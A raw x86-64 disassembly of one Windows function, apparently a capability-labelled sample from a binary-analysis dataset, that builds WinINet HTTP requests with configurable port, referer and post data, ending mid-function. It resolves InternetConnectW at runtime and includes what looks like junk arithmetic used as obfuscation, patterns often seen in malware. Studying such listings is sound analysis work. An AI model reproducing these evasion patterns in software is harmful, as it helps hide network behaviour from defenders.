Function at 0x1400346e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x16f8]
mov eax, 0x17f8
call fcn.1400dc350
sub rsp, rax
mov qword [rbp + 0x328], 0xfffffffffffffffe
mov rax, qword [0x1401d5e90]
xor rax, rsp
mov qword [rbp + 0x16e0], rax
mov r14, r9
mov r15, r8
mov rsi, rdx
mov r12, rcx
mov qword [rbp - 0x68], rcx
mov qword [rbp + 0x268], rcx
xor ebx, ebx
mov dword [rsp + 0x44], ebx
mov rcx, r9
call fcn.1400316c0
lea rcx, [0x1401d59a8]
test al, al
mov rax, qword [0x1401d59a8]
je 0x1400347d2
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x60], rax
lea rdx, str.this_module_doesnt_support_file_request
test rdx, 0xffffffffffff0000
jne 0x140034790
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14003479a
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140002a60
jmp 0x14003479a
lea rcx, [rbp + 0x60]
call fcn.140003a70
nop
lea rdx, [rbp + 0x60]
mov rcx, r12
call fcn.1400305c0
mov r13d, 1
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400347ca
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov rax, r12
jmp 0x140037dcf
call qword [rax + 0x18]
add rax, 0x18
test rsi, rsi
jne 0x140034853
mov qword [rbp + 0x58], rax
lea rdx, str.InternetOpen_Failed
test rdx, 0xffffffffffff0000
jne 0x140034812
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14003481c
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.140002a60
jmp 0x14003481c
lea rcx, [rbp + 0x58]
call fcn.140003a70
nop
lea rdx, [rbp + 0x58]
mov rcx, r12
call fcn.1400305c0
mov r13d, 1
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400347ca
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, r12
jmp 0x140037dcf
mov qword [rsp + 0x60], rax
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x28], ebx
lea rax, [rbp + 0x218]
mov qword [rbp + 0x78], rax
lea r12, [0x1401ded90]
cmp byte [r14 + 8], 0
jne 0x140034892
mov rax, r12
jmp 0x1400348a1
lea rdx, [0x140162334]
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
mov qword [rbp + 0x230], 0xf
mov qword [rbp + 0x228], rbx
mov byte [rbp + 0x218], 0
or rdi, 0xffffffffffffffff
cmp byte [rdx], 0
jne 0x1400348cb
mov r8, rbx
jmp 0x1400348da
mov r8, rdi
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400348d0
lea rcx, [rbp + 0x218]
call fcn.1400013f0
nop
lea rdx, [rbp + 0x218]
lea rcx, [rsp + 0x58]
call fcn.140023e70
nop
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
call fcn.140031080
movzx eax, al
test eax, eax
jne 0x1400349da
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x68], rax
lea rdx, str.InternetCrackUrl_Failed
test rdx, 0xffffffffffff0000
jne 0x140034964
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14003496e
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140002a60
jmp 0x14003496e
lea rcx, [rbp + 0x68]
call fcn.140003a70
nop
lea rdx, [rbp + 0x68]
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.1400305c0
mov r13d, 1
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400349a2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400349bc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400349d5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
mov byte [rsp + 0x48], 0
cmp byte [r14 + 8], 0
je 0x140034a42
lea rdx, [0x140162d38]
mov rcx, r14
call fcn.14003f890
cmp rax, r12
je 0x140034a42
cmp byte [r14 + 8], 0
jne 0x140034a06
mov rax, r12
jmp 0x140034a15
lea rdx, str.redirectCheck
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 5
jne 0x140034a42
cmp byte [r14 + 8], 0
jne 0x140034a27
mov rax, r12
jmp 0x140034a36
lea rdx, [0x140162d20]
mov rcx, r14
call fcn.14003f890
mov rcx, rax
call fcn.14003f240
mov byte [rsp + 0x48], al
mov byte [rsp + 0x49], 0
mov dword [rbp + 0x14], 0x50
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x78], rax
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
call fcn.1400028c0
add rax, 0x18
mov qword [rbp + 0xe8], rax
lea r8, [rbp + 0x14]
lea rdx, [rsp + 0x49]
lea rcx, [rbp + 0xe8]
call fcn.1400313e0
cmp byte [r14 + 8], 0
jne 0x140034a93
mov rax, r12
jmp 0x140034aa2
lea rdx, [0x140162d30]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 1
jne 0x140034ad2
cmp byte [r14 + 8], 0
jne 0x140034ab4
mov rax, r12
jmp 0x140034ac3
lea rdx, str.port
mov rcx, r14
call fcn.14003f890
mov rcx, rax
call fcn.14003eec0
mov ebx, eax
mov dword [rbp - 0x28], eax
jmp 0x140034ade
mov ebx, dword [rbp - 0x28]
test ebx, ebx
cmove ebx, dword [rbp + 0x14]
mov dword [rbp - 0x28], ebx
mov byte [rsp + 0x40], 0
mov r8d, ebx
lea rdx, [rsp + 0x60]
mov rcx, r15
call fcn.140031520
mov qword [rbp - 0x48], rax
mov r13d, 1
test rax, rax
jne 0x140034cf0
mov r10, qword [0x1401dfcc0]
test r10, r10
jne 0x140034bfb
lea rcx, [0x140162d90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r10, rax
mov r9d, dword [0x1401ddd80]
lea r11d, [r9 + 1]
mov r8d, r11d
imul r8d, r9d
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 5
jne 0x140034b86
test r9d, r9d
je 0x140034b79
dec r9d
je 0x140034b6c
mov r9d, r11d
mov dword [0x1401ddd80], r11d
jmp 0x140034b86
xor ecx, ecx
mov r9d, ecx
mov dword [0x1401ddd80], ecx
jmp 0x140034b86
mov r9d, 2
mov dword [0x1401ddd80], r9d
test r10, r10
je 0x140034bae
lea rdx, str.InternetConnectW
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
mov qword [0x1401dfcc0], rax
mov r9d, dword [0x1401ddd80]
jmp 0x140034bb5
mov r10, qword [0x1401dfcc0]
lea ecx, [r9 + 1]
imul ecx, r9d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xa
jne 0x140034bf6
mov r8d, r13d
mov eax, r13d
mov ecx, 0x6f
lea edx, [rax + r8]
lea r8d, [rax]
mov eax, edx
dec ecx
jns 0x140034be3
mov dword [0x1401ddd80], edx
test r10, r10
je 0x140034c32
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, bx
mov rdx, qword [rsp + 0x60]
mov rcx, rsi
call r10
mov qword [rbp - 0x48], rax
test rax, rax
jne 0x140034ceb
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x50], rax
lea rdx, str.InternetConnect_Failed
test rdx, 0xffffffffffff0000
jne 0x140034c7b
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x140034c85
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140002a60
jmp 0x140034c85
lea rcx, [rbp + 0x50]
call fcn.140003a70
nop
lea rdx, [rbp + 0x50]
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034cb3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034ccd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034ce6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
mov byte [rsp + 0x40], r13b
mov esi, 0x80400200
mov eax, 0x80600200
cmp byte [rsp + 0x48], 0
cmovne esi, eax
or esi, 0xc000
cmp byte [rsp + 0x49], 0
je 0x140034d15
or esi, 0x803080
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x80], rax
cmp byte [r14 + 8], 0
jne 0x140034d3a
mov rax, r12
jmp 0x140034d49
lea rdx, [0x140162384]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x140034e0a
lea rax, [rbp + 0x408]
mov qword [rbp + 0x78], rax
cmp byte [r14 + 8], 0
jne 0x140034d6a
mov rax, r12
jmp 0x140034d79
lea rdx, [0x1401623ac]
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x408]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.140023e70
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x80]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140034def
cmp dword [rbx + 0x10], 0
jl 0x140034de1
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140034de1
call fcn.1400028c0
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140034dd7
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x80], rax
jmp 0x140034def
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x80]
call fcn.140002770
nop
mov rdx, qword [rbp + 0x148]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034e0a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x70], rax
cmp byte [r14 + 8], 0
jne 0x140034e30
mov rax, r12
jmp 0x140034e3f
lea rdx, [0x140162da8]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x140034f03
lea rax, [rbp + 0x3a8]
mov qword [rbp - 8], rax
cmp byte [r14 + 8], 0
jne 0x140034e60
mov rax, r12
jmp 0x140034e6f
lea rdx, [0x140162db0]
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x3a8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140023e70
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x70]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140034ee8
cmp dword [rbx + 0x10], 0
jl 0x140034ed9
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140034ed9
call fcn.1400028c0
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140034ece
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rsp + 0x70], rax
jmp 0x140034ee8
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.140002770
nop
mov rdx, qword [rbp + 0x150]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034f03
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x68], rax
cmp byte [r14 + 8], 0
jne 0x140034f29
mov rax, r12
jmp 0x140034f38
lea rdx, [0x140162dd8]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x140034ffc
lea rax, [rbp + 0x4a8]
mov qword [rbp - 8], rax
cmp byte [r14 + 8], 0
jne 0x140034f59
mov rax, r12
jmp 0x140034f68
lea rdx, str.referer
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x4a8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140023e70
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x68]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140034fe1
cmp dword [rbx + 0x10], 0
jl 0x140034fd2
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140034fd2
call fcn.1400028c0
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140034fc7
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rsp + 0x68], rax
jmp 0x140034fe1
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140002770
nop
mov rdx, qword [rbp + 0x160]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034ffc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x78], rax
cmp byte [r14 + 8], 0
jne 0x140035022
mov rax, r12
jmp 0x140035031
lea rdx, [0x140162db8]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x1400350f5
lea rax, [rbp + 0x448]
mov qword [rbp - 8], rax
cmp byte [r14 + 8], 0
jne 0x140035052
mov rax, r12
jmp 0x140035061
lea rdx, [0x140162dc8]
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x448]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140023e70
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x78]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x1400350da
cmp dword [rbx + 0x10], 0
jl 0x1400350cb
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x1400350cb
call fcn.1400028c0
mov r15, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x1400350c0
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [r15 + 0x18]
mov qword [rsp + 0x78], rax
jmp 0x1400350da
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x78]
call fcn.140002770
nop
mov rdx, qword [rbp + 0x170]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400350f5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rsp + 0x78]
cmp dword [rax - 0x10], 0
mov ecx, 0
cmove rax, rcx
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x210], rcx
mov rax, qword [rsp + 0x68]
cmp dword [rax - 0x10], ecx
cmove rax, rcx
mov r9, qword [rsp + 0x70]
cmp dword [r9 - 0x10], ecx
cmove r9, rcx
mov rdx, qword [rbp - 0x80]
cmp dword [rdx - 0x10], ecx
cmove rdx, rcx
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], esi
lea rcx, [rbp + 0x208]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r8, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov rbx, rax
mov qword [rbp - 8], rax
lea rcx, [0x1401d59a8]
test rax, rax
mov rax, qword [0x1401d59a8]
jne 0x140035291
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x70], rax
lea rdx, str.HttpOpenRequest_Failed
test rdx, 0xffffffffffff0000
jne 0x1400351ba
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x1400351c4
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140002a60
jmp 0x1400351c4
lea rcx, [rbp + 0x70]
call fcn.140003a70
nop
lea rdx, [rbp + 0x70]
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
mov rdx, qword [rbp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400351f2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003520c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035226
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035240
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035259
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035273
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003528c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140037db3
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
cmp byte [r14 + 8], 0
jne 0x1400352a9
mov rax, r12
jmp 0x1400352b8
lea rdx, [0x140162de8]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x140035534
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 8], rbx
lea r8, [0x1401623e4]
test r8, 0xffffffffffff0000
jne 0x140035310
movzx ebx, r8w
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x140035382
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140002a60
jmp 0x140035382
mov r15d, dword [rbx - 0x10]
mov rsi, r8
sub rsi, rbx
sar rsi, 1
mov ecx, r13d
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, 2
or eax, ecx
jge 0x140035346
mov edx, 2
lea rcx, [rbp + 8]
call fcn.140002860
mov rbx, qword [rbp + 8]
lea r8, [0x1401623e4]
movsxd rdx, dword [rbx - 0xc]
mov r9d, 4
mov rcx, rbx
add rdx, rdx
cmp rsi, r15
ja 0x140035366
lea r8, [rbx + rsi*2]
call fcn.1400d7ac4
jmp 0x14003536b
call fcn.1400d7bc0
cmp dword [rbx - 0xc], 2
jl 0x140035525
mov dword [rbx - 0x10], 2
xor eax, eax
mov word [rbx + 4], ax
lea rax, [rbp + 0x368]
mov qword [rbp + 0x18], rax
cmp byte [r14 + 8], 0
jne 0x140035399
mov rax, r12
jmp 0x1400353a8
lea rdx, [0x140162e50]
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x368]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.140023e70
mov rsi, rax
lea rcx, [0x1401d59a8]
mov rdx, qword [0x1401d59a8]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp + 0x40], rax
lea rdx, str.Content_Type:
test rdx, 0xffffffffffff0000
jne 0x140035413
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14003541d
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140002a60
jmp 0x14003541d
lea rcx, [rbp + 0x40]
call fcn.140003a70
nop
mov r8, rsi
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x1a0]
call fcn.1400240e0
nop
lea r8, [rbp + 8]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.1400240e0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x50]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14003549e
cmp dword [rbx + 0x10], 0
jl 0x14003548f
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14003548f
call fcn.1400028c0
mov rsi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140035484
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x50], rax
jmp 0x14003549e
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x50]
call fcn.140002770
nop
mov rdx, qword [rbp + 0x190]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400354ba
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1a0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400354d6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400354ef
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1b0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003550b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035530
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140035530
mov ecx, 0x80070057
call fcn.140001920
nop
mov rbx, qword [rbp - 8]
cmp byte [r14 + 8], 0
jne 0x140035540
mov rax, r12
jmp 0x14003554f
lea rdx, [0x140162e10]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x14003560d
lea rax, [rbp + 0x488]
mov qword [rbp + 0x18], rax
cmp byte [r14 + 8], 0
jne 0x140035570
mov rax, r12
jmp 0x14003557f
lea rdx, [0x140162e30]
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x488]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140023e70
nop
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x50]
call fcn.1400114a0
nop
mov rdx, qword [rbp + 0x1c0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400355cc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
call fcn.1400028c0
add rax, 0x18
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.140037e00
nop
mov rdx, qword [rbp + 0xa8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003560d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x58], rax
cmp byte [r14 + 8], 0
jne 0x140035632
mov rax, r12
jmp 0x140035641
lea rdx, [0x140162e90]
mov rcx, r14
call fcn.14003f890
cmp byte [rax + 8], 4
jne 0x1400356b5
lea rax, [rbp + 0x3c8]
mov qword [rbp + 0x18], rax
cmp byte [r14 + 8], 0
jne 0x14003565e
mov rax, r12
jmp 0x14003566d
lea rdx, str.postData
mov rcx, r14
call fcn.14003f890
mov rdx, qword [rax]
lea rcx, [rbp + 0x3c8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140023e70
nop
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.1400026d0
nop
mov rdx, qword [rbp + 0x188]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400356b5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp - 0x58]
add rcx, 0xffffffffffffffe8
call fcn.1400028c0
add rax, 0x18
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x58]
mov ecx, dword [rax - 0x10]
lea r15d, [rcx + rcx]
cmp byte [rsp + 0x48], 0
je 0x140035711
mov dword [rbp + 0x10], 0x2710
mov r9d, 4
lea r8, [rbp + 0x10]
lea edx, [r9 + 2]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov r9d, 4
lea r8, [rbp + 0x10]
lea edx, [r9 + 1]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rax, qword [rsp + 0x50]
mov rsi, rax
cmp dword [rax - 0x10], 0
mov ecx, 0
cmove rsi, rcx
mov rcx, qword [rbp - 0x60]
mov edx, r13d
sub edx, dword [rcx - 8]
mov ecx, dword [rcx - 0xc]
or ecx, edx
jge 0x140035747
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140002860
mov rax, qword [rsp + 0x50]
mov ebx, dword [rax - 0x10]
call fcn.14002e630
mov rcx, rax
mov dword [rsp + 0x28], r15d
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
mov rsi, qword [rbp - 8]
mov rdx, rsi
call fcn.1400467e0
test eax, eax
jne 0x14003594c
mov eax, dword [0x1401ddd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 0xb
jne 0x1400357a7
dec dword [0x1401deccc]
lea rcx, [rbp + 0xa0]
call fcn.14002c070
nop
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x1400357ce
mov rcx, qword [rbp - 0x48]
